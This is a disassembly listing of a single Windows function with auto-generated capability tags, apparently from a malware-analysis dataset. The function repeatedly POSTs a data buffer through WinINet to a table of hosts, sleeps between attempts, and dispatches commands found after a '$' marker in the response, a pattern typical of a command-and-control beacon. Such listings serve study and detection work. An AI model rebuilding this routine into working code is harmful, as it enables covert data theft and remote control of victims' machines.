Function at 0x402a10
Capabilities:
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2a0
mov dword [ebp + 0x58], 0
mov dword [ebp + 0x6c], 0
mov dword [ebp + 0x70], 0
mov dword [ebp + 0x64], 0x80
mov dword [ebp + 0x74], 0
mov dword [ebp + 0x68], 0
mov dword [ebp + 0x5c], 0
mov eax, dword [ebp + 0x64]
push eax
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp + 0x64]
push edx
lea eax, [ebp - 0x28]
push eax
push 0x29
push 0
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
test eax, eax
je 0x402a80
mov ecx, dword [ebp + 0x64]
movsx edx, byte [ebp + ecx - 0x29]
test edx, edx
je 0x402a97
push str.Mozilla_5.0
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 0x64]
mov byte [ebp + ecx - 0x29], 0
mov edx, 1
test edx, edx
je 0x402c88
mov eax, dword [ebp + 0x74]
cmp dword [eax*4 + 0x406648], 0
jne 0x402ac5
mov dword [ebp + 0x74], 0
mov ecx, dword [0x407b74]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 0x68], eax
cmp dword [ebp + 0x68], 0
jne 0x402af2
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
mov dword [ebp + 0x6c], 0
jmp 0x402a97
push 0
push 0x84200000
push 0
push 0
push 0
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
push str.POST
mov eax, dword [ebp + 0x68]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x5c], eax
cmp dword [ebp + 0x5c], 0
jne 0x402b41
mov ecx, dword [ebp + 0x74]
add ecx, 1
mov dword [ebp + 0x74], ecx
mov dword [ebp + 0x6c], 0
mov edx, dword [ebp + 0x68]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402a97
cmp dword [ebp + 0x58], 1
jne 0x402b60
cmp dword [ebp + 0x70], 0
jne 0x402b5e
push 0
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x70], 1
jmp 0x402b77
cmp dword [ebp + 0x70], 0
jne 0x402b77
push 1
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x70], 1
mov eax, dword [0x407bc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x407bc8]
push ecx
push 0xffffffffffffffff
push str.Content_Type:application_x_www_form_urlencoded
mov edx, dword [ebp + 0x5c]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x402c6f
push 0xff
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
push str.http:___s_s
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xff
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.00402720
add esp, 8
cmp eax, 1
jne 0x402c68
lea eax, [ebp - 0x228]
mov dword [ebp + 0x60], eax
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x60]
mov dword [ebp + 0x60], eax
mov ecx, dword [ebp + 0x60]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x402c5f
mov eax, dword [ebp + 0x60]
push eax
call fcn.00405990
add esp, 4
mov dword [ebp + 0x6c], 1
mov dword [ebp + 0x58], 1
mov dword [ebp + 0x70], 0
jmp 0x402c66
mov dword [ebp + 0x6c], 0
jmp 0x402c6f
mov dword [ebp + 0x6c], 0
mov ecx, dword [ebp + 0x5c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp + 0x68]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402a97
add ebp, 0x78
mov esp, ebp
pop ebp
ret